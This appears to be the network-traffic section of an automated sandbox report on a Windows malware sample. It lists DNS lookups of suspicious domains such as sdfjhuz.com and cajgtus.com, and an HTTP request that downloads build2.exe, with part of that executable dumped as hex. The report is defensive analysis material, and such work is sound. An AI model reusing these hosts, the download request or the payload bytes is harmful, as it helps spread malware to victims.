Apr 24, 2024 17:47:15.864408970 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.864464998 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.864476919 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.864496946 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.864526987 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.864547968 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.864609003 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.864645004 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.864671946 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.864881039 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.977546930 CEST	49751	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.977616072 CEST	443	49751	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:15.977714062 CEST	49751	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.978265047 CEST	49751	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:15.978285074 CEST	443	49751	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:16.636706114 CEST	443	49751	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:16.637006044 CEST	49751	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:16.637476921 CEST	49751	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:16.637506962 CEST	443	49751	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:16.646884918 CEST	49751	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:16.646903992 CEST	443	49751	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:16.647017002 CEST	49751	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:16.647037029 CEST	443	49751	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:17.118640900 CEST	49752	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:17.118685961 CEST	443	49752	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:17.118767023 CEST	49752	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:17.118972063 CEST	49752	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:17.118988037 CEST	443	49752	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:17.647829056 CEST	443	49751	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:17.648009062 CEST	443	49751	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:17.648116112 CEST	49751	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:17.648921967 CEST	49751	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:17.648961067 CEST	443	49751	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:17.777882099 CEST	443	49752	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:17.777997017 CEST	49752	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:18.370212078 CEST	49752	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:31.045618057 CEST	49753	443	192.168.2.4	172.67.139.220
Apr 24, 2024 17:47:31.045648098 CEST	443	49753	172.67.139.220	192.168.2.4
Apr 24, 2024 17:47:31.045803070 CEST	49753	443	192.168.2.4	172.67.139.220
Apr 24, 2024 17:47:31.062325001 CEST	49753	443	192.168.2.4	172.67.139.220
Apr 24, 2024 17:47:31.062340975 CEST	443	49753	172.67.139.220	192.168.2.4
Apr 24, 2024 17:47:31.400172949 CEST	443	49753	172.67.139.220	192.168.2.4
Apr 24, 2024 17:47:31.400254965 CEST	49753	443	192.168.2.4	172.67.139.220
Apr 24, 2024 17:47:31.406868935 CEST	49753	443	192.168.2.4	172.67.139.220
Apr 24, 2024 17:47:31.406878948 CEST	443	49753	172.67.139.220	192.168.2.4
Apr 24, 2024 17:47:31.407381058 CEST	443	49753	172.67.139.220	192.168.2.4
Apr 24, 2024 17:47:31.408148050 CEST	49753	443	192.168.2.4	172.67.139.220
Apr 24, 2024 17:47:31.408900976 CEST	49753	443	192.168.2.4	172.67.139.220
Apr 24, 2024 17:47:31.452156067 CEST	443	49753	172.67.139.220	192.168.2.4
Apr 24, 2024 17:47:32.179446936 CEST	443	49753	172.67.139.220	192.168.2.4
Apr 24, 2024 17:47:32.179589987 CEST	443	49753	172.67.139.220	192.168.2.4
Apr 24, 2024 17:47:32.179650068 CEST	49753	443	192.168.2.4	172.67.139.220
Apr 24, 2024 17:47:32.179650068 CEST	49753	443	192.168.2.4	172.67.139.220
Apr 24, 2024 17:47:32.179869890 CEST	49753	443	192.168.2.4	172.67.139.220
Apr 24, 2024 17:47:32.179888010 CEST	443	49753	172.67.139.220	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 24, 2024 17:46:52.820378065 CEST	53539	53	192.168.2.4	1.1.1.1
Apr 24, 2024 17:46:52.976269960 CEST	53	53539	1.1.1.1	192.168.2.4
Apr 24, 2024 17:46:56.306886911 CEST	62105	53	192.168.2.4	1.1.1.1
Apr 24, 2024 17:46:56.307610989 CEST	50044	53	192.168.2.4	1.1.1.1
Apr 24, 2024 17:46:57.297384024 CEST	50044	53	192.168.2.4	1.1.1.1
Apr 24, 2024 17:46:57.297384977 CEST	62105	53	192.168.2.4	1.1.1.1
Apr 24, 2024 17:46:58.315156937 CEST	62105	53	192.168.2.4	1.1.1.1
Apr 24, 2024 17:46:58.315211058 CEST	50044	53	192.168.2.4	1.1.1.1
Apr 24, 2024 17:46:58.463769913 CEST	53	62105	1.1.1.1	192.168.2.4
Apr 24, 2024 17:46:58.463810921 CEST	53	62105	1.1.1.1	192.168.2.4
Apr 24, 2024 17:46:58.468745947 CEST	53	62105	1.1.1.1	192.168.2.4
Apr 24, 2024 17:46:58.620517969 CEST	53	50044	1.1.1.1	192.168.2.4
Apr 24, 2024 17:46:58.620567083 CEST	53	50044	1.1.1.1	192.168.2.4
Apr 24, 2024 17:46:58.620588064 CEST	53	50044	1.1.1.1	192.168.2.4
Apr 24, 2024 17:47:01.815006971 CEST	62321	53	192.168.2.4	1.1.1.1
Apr 24, 2024 17:47:01.969225883 CEST	53	62321	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 24, 2024 17:46:52.820378065 CEST	192.168.2.4	1.1.1.1	0xe25a	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:46:56.306886911 CEST	192.168.2.4	1.1.1.1	0x553d	Standard query (0)	sdfjhuz.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:46:56.307610989 CEST	192.168.2.4	1.1.1.1	0x534b	Standard query (0)	cajgtus.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:46:57.297384024 CEST	192.168.2.4	1.1.1.1	0x534b	Standard query (0)	cajgtus.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:46:57.297384977 CEST	192.168.2.4	1.1.1.1	0x553d	Standard query (0)	sdfjhuz.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:46:58.315156937 CEST	192.168.2.4	1.1.1.1	0x553d	Standard query (0)	sdfjhuz.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:46:58.315211058 CEST	192.168.2.4	1.1.1.1	0x534b	Standard query (0)	cajgtus.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:47:01.815006971 CEST	192.168.2.4	1.1.1.1	0xcfd0	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Apr 24, 2024 17:46:52.976269960 CEST	1.1.1.1	192.168.2.4	0xe25a	No error (0)	api.2ip.ua	172.67.139.220	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:46:52.976269960 CEST	1.1.1.1	192.168.2.4	0xe25a	No error (0)	api.2ip.ua	104.21.65.24	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:46:58.463769913 CEST	1.1.1.1	192.168.2.4	0x553d	No error (0)	sdfjhuz.com	175.119.10.231	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:46:58.463769913 CEST	1.1.1.1	192.168.2.4	0x553d	No error (0)	sdfjhuz.com	201.103.73.225	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:46:58.463769913 CEST	1.1.1.1	192.168.2.4	0x553d	No error (0)	sdfjhuz.com	197.44.77.26	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:46:58.463769913 CEST	1.1.1.1	192.168.2.4	0x553d	No error (0)	sdfjhuz.com	186.145.236.18	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:46:58.463769913 CEST	1.1.1.1	192.168.2.4	0x553d	No error (0)	sdfjhuz.com	187.134.42.23	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:46:58.463769913 CEST	1.1.1.1	192.168.2.4	0x553d	No error (0)	sdfjhuz.com	176.29.154.25	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:46:58.463769913 CEST	1.1.1.1	192.168.2.4	0x553d	No error (0)	sdfjhuz.com	190.220.21.28	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:46:58.463769913 CEST	1.1.1.1	192.168.2.4	0x553d	No error (0)	sdfjhuz.com	211.171.233.126	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:46:58.463769913 CEST	1.1.1.1	192.168.2.4	0x553d	No error (0)	sdfjhuz.com	181.129.118.140	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:46:58.463769913 CEST	1.1.1.1	192.168.2.4	0x553d	No error (0)	sdfjhuz.com	63.143.98.185	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:46:58.463810921 CEST	1.1.1.1	192.168.2.4	0x553d	No error (0)	sdfjhuz.com	175.119.10.231	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:46:58.463810921 CEST	1.1.1.1	192.168.2.4	0x553d	No error (0)	sdfjhuz.com	201.103.73.225	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:46:58.463810921 CEST	1.1.1.1	192.168.2.4	0x553d	No error (0)	sdfjhuz.com	197.44.77.26	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:46:58.463810921 CEST	1.1.1.1	192.168.2.4	0x553d	No error (0)	sdfjhuz.com	186.145.236.18	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:46:58.463810921 CEST	1.1.1.1	192.168.2.4	0x553d	No error (0)	sdfjhuz.com	187.134.42.23	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:46:58.463810921 CEST	1.1.1.1	192.168.2.4	0x553d	No error (0)	sdfjhuz.com	176.29.154.25	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:46:58.463810921 CEST	1.1.1.1	192.168.2.4	0x553d	No error (0)	sdfjhuz.com	190.220.21.28	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:46:58.463810921 CEST	1.1.1.1	192.168.2.4	0x553d	No error (0)	sdfjhuz.com	211.171.233.126	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:46:58.463810921 CEST	1.1.1.1	192.168.2.4	0x553d	No error (0)	sdfjhuz.com	181.129.118.140	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:46:58.463810921 CEST	1.1.1.1	192.168.2.4	0x553d	No error (0)	sdfjhuz.com	63.143.98.185	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:46:58.468745947 CEST	1.1.1.1	192.168.2.4	0x553d	No error (0)	sdfjhuz.com	175.119.10.231	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:46:58.468745947 CEST	1.1.1.1	192.168.2.4	0x553d	No error (0)	sdfjhuz.com	63.143.98.185	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:46:58.468745947 CEST	1.1.1.1	192.168.2.4	0x553d	No error (0)	sdfjhuz.com	181.129.118.140	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:46:58.468745947 CEST	1.1.1.1	192.168.2.4	0x553d	No error (0)	sdfjhuz.com	186.145.236.18	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:46:58.468745947 CEST	1.1.1.1	192.168.2.4	0x553d	No error (0)	sdfjhuz.com	187.134.42.23	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:46:58.468745947 CEST	1.1.1.1	192.168.2.4	0x553d	No error (0)	sdfjhuz.com	176.29.154.25	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:46:58.468745947 CEST	1.1.1.1	192.168.2.4	0x553d	No error (0)	sdfjhuz.com	190.220.21.28	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:46:58.468745947 CEST	1.1.1.1	192.168.2.4	0x553d	No error (0)	sdfjhuz.com	211.171.233.126	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:46:58.468745947 CEST	1.1.1.1	192.168.2.4	0x553d	No error (0)	sdfjhuz.com	197.44.77.26	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:46:58.468745947 CEST	1.1.1.1	192.168.2.4	0x553d	No error (0)	sdfjhuz.com	201.103.73.225	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:46:58.620517969 CEST	1.1.1.1	192.168.2.4	0x534b	No error (0)	cajgtus.com	211.119.84.111	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:46:58.620517969 CEST	1.1.1.1	192.168.2.4	0x534b	No error (0)	cajgtus.com	123.140.161.243	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:46:58.620517969 CEST	1.1.1.1	192.168.2.4	0x534b	No error (0)	cajgtus.com	190.218.33.18	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:46:58.620517969 CEST	1.1.1.1	192.168.2.4	0x534b	No error (0)	cajgtus.com	187.204.104.31	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:46:58.620517969 CEST	1.1.1.1	192.168.2.4	0x534b	No error (0)	cajgtus.com	63.143.98.185	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:46:58.620517969 CEST	1.1.1.1	192.168.2.4	0x534b	No error (0)	cajgtus.com	190.156.239.49	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:46:58.620517969 CEST	1.1.1.1	192.168.2.4	0x534b	No error (0)	cajgtus.com	189.195.132.134	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:46:58.620517969 CEST	1.1.1.1	192.168.2.4	0x534b	No error (0)	cajgtus.com	201.236.158.115	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:46:58.620517969 CEST	1.1.1.1	192.168.2.4	0x534b	No error (0)	cajgtus.com	187.212.254.27	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:46:58.620517969 CEST	1.1.1.1	192.168.2.4	0x534b	No error (0)	cajgtus.com	62.150.232.50	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:46:58.620567083 CEST	1.1.1.1	192.168.2.4	0x534b	No error (0)	cajgtus.com	211.119.84.111	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:46:58.620567083 CEST	1.1.1.1	192.168.2.4	0x534b	No error (0)	cajgtus.com	123.140.161.243	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:46:58.620567083 CEST	1.1.1.1	192.168.2.4	0x534b	No error (0)	cajgtus.com	190.218.33.18	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:46:58.620567083 CEST	1.1.1.1	192.168.2.4	0x534b	No error (0)	cajgtus.com	187.204.104.31	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:46:58.620567083 CEST	1.1.1.1	192.168.2.4	0x534b	No error (0)	cajgtus.com	63.143.98.185	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:46:58.620567083 CEST	1.1.1.1	192.168.2.4	0x534b	No error (0)	cajgtus.com	190.156.239.49	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:46:58.620567083 CEST	1.1.1.1	192.168.2.4	0x534b	No error (0)	cajgtus.com	189.195.132.134	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:46:58.620567083 CEST	1.1.1.1	192.168.2.4	0x534b	No error (0)	cajgtus.com	201.236.158.115	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:46:58.620567083 CEST	1.1.1.1	192.168.2.4	0x534b	No error (0)	cajgtus.com	187.212.254.27	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:46:58.620567083 CEST	1.1.1.1	192.168.2.4	0x534b	No error (0)	cajgtus.com	62.150.232.50	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:46:58.620588064 CEST	1.1.1.1	192.168.2.4	0x534b	No error (0)	cajgtus.com	211.119.84.111	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:46:58.620588064 CEST	1.1.1.1	192.168.2.4	0x534b	No error (0)	cajgtus.com	123.140.161.243	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:46:58.620588064 CEST	1.1.1.1	192.168.2.4	0x534b	No error (0)	cajgtus.com	190.218.33.18	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:46:58.620588064 CEST	1.1.1.1	192.168.2.4	0x534b	No error (0)	cajgtus.com	187.204.104.31	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:46:58.620588064 CEST	1.1.1.1	192.168.2.4	0x534b	No error (0)	cajgtus.com	63.143.98.185	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:46:58.620588064 CEST	1.1.1.1	192.168.2.4	0x534b	No error (0)	cajgtus.com	190.156.239.49	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:46:58.620588064 CEST	1.1.1.1	192.168.2.4	0x534b	No error (0)	cajgtus.com	189.195.132.134	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:46:58.620588064 CEST	1.1.1.1	192.168.2.4	0x534b	No error (0)	cajgtus.com	201.236.158.115	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:46:58.620588064 CEST	1.1.1.1	192.168.2.4	0x534b	No error (0)	cajgtus.com	187.212.254.27	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:46:58.620588064 CEST	1.1.1.1	192.168.2.4	0x534b	No error (0)	cajgtus.com	62.150.232.50	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:47:01.969225883 CEST	1.1.1.1	192.168.2.4	0xcfd0	No error (0)	steamcommunity.com	96.17.209.196	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.2ip.ua

steamcommunity.com

95.217.9.149

sdfjhuz.com

cajgtus.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49733	175.119.10.231	80	1228	C:\Users\user\Desktop\n8XBpFdVFU.exe

Timestamp	Bytes transferred	Direction	Data
Apr 24, 2024 17:46:58.773155928 CEST	91	OUT	GET /dl/build2.exe HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: sdfjhuz.com
Apr 24, 2024 17:46:59.242161036 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Apr 2024 15:46:59 GMT Content-Type: application/octet-stream Content-Length: 296448 Last-Modified: Tue, 23 Apr 2024 19:19:16 GMT Connection: close ETag: "662809b4-48600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce d6 de 9e 8a b7 b0 cd 8a b7 b0 cd 8a b7 b0 cd 87 e5 6f cd 90 b7 b0 cd 87 e5 50 cd f6 b7 b0 cd 87 e5 51 cd a6 b7 b0 cd 83 cf 23 cd 83 b7 b0 cd 8a b7 b1 cd f8 b7 b0 cd 3f 29 55 cd 8b b7 b0 cd 87 e5 6b cd 8b b7 b0 cd 3f 29 6e cd 8b b7 b0 cd 52 69 63 68 8a b7 b0 cd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 47 05 fb 63 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0c 00 00 e6 00 00 00 30 60 01 00 00 00 00 6d 40 00 00 00 10 00 00 00 00 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 61 01 00 04 00 00 00 d6 04 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 dc 6a 01 00 64 00 00 00 00 40 60 01 66 ef 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 01 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 60 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 98 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 13 e4 00 00 00 10 00 00 00 e6 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 50 74 00 00 00 00 01 00 00 76 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 e4 b5 5e 01 00 80 01 00 00 36 02 00 00 60 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 66 ef 00 00 00 40 60 01 00 f0 00 00 00 96 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 0c 25 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$oPQ#?)Uk?)nRichPELGc0`m@@0ajd@`f8@`@.text `.rdataPtv@@.data^6`@.rsrcf@`@@%
Apr 24, 2024 17:46:59.242192030 CEST	1289	IN	Data Raw: a0 01 e8 4e 02 00 00 68 09 f4 40 00 e8 3f 26 00 00 59 c3 b9 14 25 a0 01 e8 a1 02 00 00 68 ff f3 40 00 e8 29 26 00 00 59 c3 b9 00 25 a0 01 e8 f8 02 00 00 68 f5 f3 40 00 e8 13 26 00 00 59 c3 6a 00 b9 08 25 a0 01 e8 ee 00 00 00 c3 6a 00 b9 fc 24 a0 Data Ascii: Nh@?&Y%h@)&Y%h@&Yj%j$j%j%UQQQQ$!]EYY]UVEP,A^],ANUVEtV%Y^]UE]UE8
Apr 24, 2024 17:46:59.550604105 CEST	1289	IN	Data Raw: 15 34 00 41 00 53 8d 85 b4 fb ff ff 50 53 ff 15 90 00 41 00 8d 45 c8 50 53 8d 45 b4 50 53 ff 15 88 00 41 00 53 53 53 53 53 53 53 ff 15 44 00 41 00 8b 45 f8 8b 0d f0 24 a0 01 2b f8 83 f9 0c 75 07 53 ff 15 80 00 41 00 8b c7 c1 e0 04 89 45 f4 8b 45 Data Ascii: 4ASPSAEPSEPSASSSSSSSDAE$+uSAEEEMUEEEEM3U3UME)ENt]MuE~_^[]V5$W=tNu_^UQeEE]UQQh^A
Apr 24, 2024 17:46:59.550740004 CEST	1289	IN	Data Raw: 44 53 f7 65 ec 8b 45 ec 81 6d fc f0 06 bd 57 81 6d cc f5 90 30 07 81 6d dc 7b e3 2f 6b 33 ff 81 3d f0 24 a0 01 00 04 00 00 75 57 57 57 57 ff 15 94 00 41 00 57 57 57 57 ff 15 60 00 41 00 57 ff 15 4c 00 41 00 57 57 57 57 ff 15 70 00 41 00 57 57 57 Data Ascii: DSeEmWm0m{/k3=$uWWWWAWWWW`AWLAWWWWpAWWWWAWW"WW"WWA8q Fr\|WtA{+F\|\|AW<AW8AX~}5EzuFT\|tA$h
Apr 24, 2024 17:46:59.550755978 CEST	1289	IN	Data Raw: 45 fc 02 50 e8 54 fd ff ff 8b c8 e8 98 00 00 00 89 45 e8 b8 37 1f 40 00 c3 83 4d fc ff 8b 7d e4 8b 75 e0 8b 5d e8 83 7d 0c 00 76 14 ff 75 0c 8b cf e8 07 ff ff ff 50 53 e8 aa f1 ff ff 83 c4 0c 6a 00 6a 01 8b cf e8 a3 fc ff ff 8d 45 e8 8b cf 50 57 Data Ascii: EPTE7@M}u]}vuPSjjEPWEPluwM_^d[]Mjj`jjH"UuY]U]UM.]UVM/UP'^]3
Apr 24, 2024 17:46:59.550779104 CEST	1289	IN	Data Raw: 6f 0e 83 e9 10 8d 76 10 66 0f 7f 0f 8d 7f 10 eb e8 0f ba e1 02 73 0d 8b 06 83 e9 04 8d 76 04 89 07 8d 7f 04 0f ba e1 03 73 11 f3 0f 7e 0e 83 e9 08 8d 76 08 66 0f d6 0f 8d 7f 08 8b 04 8d 98 25 40 00 ff e0 f7 c7 03 00 00 00 75 15 c1 e9 02 83 e2 03 Data Ascii: ovfsvs~vf%@ur*$%@r$$@$%@$,%@$@$@%@#FGFGr$%@I#FGr$%@#
Apr 24, 2024 17:46:59.857547045 CEST	1289	IN	Data Raw: ec 2c a1 a4 87 41 00 33 c5 89 45 fc 8b 45 08 8d 4d d4 53 56 8b 75 0c 57 ff 75 10 89 45 ec 8b 45 14 89 45 e4 e8 4b ff ff ff 8d 45 d4 33 ff 50 57 57 57 57 56 8d 45 e8 50 8d 45 f0 50 e8 f3 29 00 00 8b d8 83 c4 20 8b 45 e4 85 c0 74 05 8b 4d e8 89 08 Data Ascii: ,A3EEMSVuWuEEEKE3PWWWWVEPEP) EtMuEPd$YYutujutj_}tMapM_^3["]U(A3ESVuMWu}E3PSSSSVEPEPX)EEWPg(E
Apr 24, 2024 17:46:59.857589960 CEST	1289	IN	Data Raw: 2e 40 00 23 d1 8a 06 88 07 8a 46 01 88 47 01 8a 46 02 c1 e9 02 88 47 02 83 c6 03 83 c7 03 83 f9 08 72 cc f3 a5 ff 24 95 18 2f 40 00 8d 49 00 23 d1 8a 06 88 07 8a 46 01 c1 e9 02 88 47 01 83 c6 02 83 c7 02 83 f9 08 72 a6 f3 a5 ff 24 95 18 2f 40 00 Data Ascii: .@#FGFGr$/@I#FGr$/@#r$/@I/@.@.@.@.@.@.@.@DDDDDDDDDDDDDD$/@(/@0/@</@P/@D$
Apr 24, 2024 17:46:59.857631922 CEST	1289	IN	Data Raw: 85 47 3c 00 00 ba 12 00 00 00 8d 0d 00 80 41 00 e8 40 3d 00 00 5a c3 55 8b ec 83 7d 08 00 74 2d ff 75 08 6a 00 ff 35 b4 b5 43 00 ff 15 b0 00 41 00 85 c0 75 18 56 e8 a7 36 00 00 8b f0 ff 15 ac 00 41 00 50 e8 ac 36 00 00 59 89 06 5e 5d c3 cc cc cc Data Ascii: G<A@=ZU}t-uj5CAuV6AP6Y^]L$t$tNu$$~3tAt2t$ttAL$+AL$+AL$+AL$+W\|$
Apr 24, 2024 17:46:59.857651949 CEST	79	IN	Data Raw: 5e 01 00 00 8d 8d fc ef ff ff 85 ff 74 33 8b d1 03 d0 4f 3b ca 73 2a 8a 01 3c 0d 75 13 8d 42 ff 3b c8 73 18 8d 41 01 80 38 0a 75 10 8b c8 eb 0c 0f b6 c0 0f be 80 f0 8c 41 00 03 c8 41 85 ff 75 d1 8d 85 fc ef ff ff 2b f0 8d 04 31 e9 72 01 Data Ascii: ^t3O;s*<uB;sA8uAAu+1r
